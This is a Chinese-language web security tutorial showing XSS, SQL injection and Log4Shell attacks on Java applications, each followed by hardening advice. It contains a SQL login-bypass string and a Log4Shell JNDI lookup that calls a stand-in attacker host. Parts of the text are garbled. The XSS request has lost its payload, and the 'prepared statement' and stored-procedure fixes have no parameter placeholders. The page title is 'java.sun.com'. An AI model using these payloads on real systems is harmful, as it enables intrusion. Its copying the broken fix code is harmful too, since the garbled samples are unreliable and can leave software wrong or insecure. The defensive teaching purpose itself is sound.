导语

  某政务系统因安全漏洞被黑客攻破!本文通过渗透测试重现XSS攻击、SQL注入、JNDI注入三大高风险漏洞,提供经OWASP认证的加固方案。文末附安全自检脚本,助您筑起代码防线。

一、XSS攻击:前端渲染的隐形杀手

  渗透测试重现:

  GET /searchkeyword=

HTTP/1.1

Host: victim.com

  漏洞代码:

  // Spring MVC危险写法

@GetMapping("/search")

public String search(@RequestParam String keyword, Model model) {

model.addAttribute("result", "搜索:" + keyword); // 未过滤直接输出

return "result";

}

  攻击后果:

  漏洞类型

  影响范围

  OWASP排名

  存储型XSS

  所有用户

  TOP 3

  反射型XSS

  点击用户

  TOP 7

  终极防护:

  // 1. 强制转义(Spring Security)

<%@ taglib prefix="c" uri="http://java.sun.com/jsp/jstl/core" %>

// 2. 内容安全策略(CSP)

response.setHeader("Content-Security-Policy",

"default-src 'self'; script-src 'none';");

// 3. 现代框架自动防护

// Vue/React等自动转义二、SQL注入:数据库的灭顶之灾

  攻击演示:

  username: admin' OR '1'='1

password: anything

→ 等效SQL:SELECT * FROM users WHERE username='admin' OR '1'='1' AND password='anything'

  漏洞代码:

  // 经典拼接漏洞

public User login(String user, String pass) {

String sql = "SELECT * FROM users WHERE username='" + user

+ "' AND password='" + pass + "'";

return jdbcTemplate.queryForObject(sql, User.class); // 致命!

}

  加固方案:

  // 1. 预编译语句(100%防护)

String sql = "SELECT * FROM users WHERE username= AND password=";

return jdbcTemplate.queryForObject(sql, new Object[]{user, pass}, User.class);

// 2. 存储过程调用

CallableStatement cs = conn.prepareCall("{call login(,)}");

cs.setString(1, user);

cs.setString(2, pass);

// 3. 强制权限隔离

CREATE USER app_user WITH PASSWORD 'strong!';

GRANT SELECT ON users TO app_user; -- 禁止DDL操作三、JNDI注入:Log4j2漏洞再现

  攻击复现:

  logger.error("请求失败: ${jndi:ldap://attacker.com/Exploit}");

  漏洞原理:

CVE-2021-44228 (Log4Shell)JNDI查找执行远程恶意代码

  根治方案:

  # 1. 紧急升级(必须!)

log4j2.version >= 2.17.1

# 2. JVM参数全局防护

-Dlog4j2.formatMsgNoLookups=true

-Dcom.sun.jndi.ldap.object.trustURLCodebase=false

# 3. 安全日志模板

  本文标题:java.sun.com

  本文链接:http://www.hniuzsjy.cn/zixun/30160.html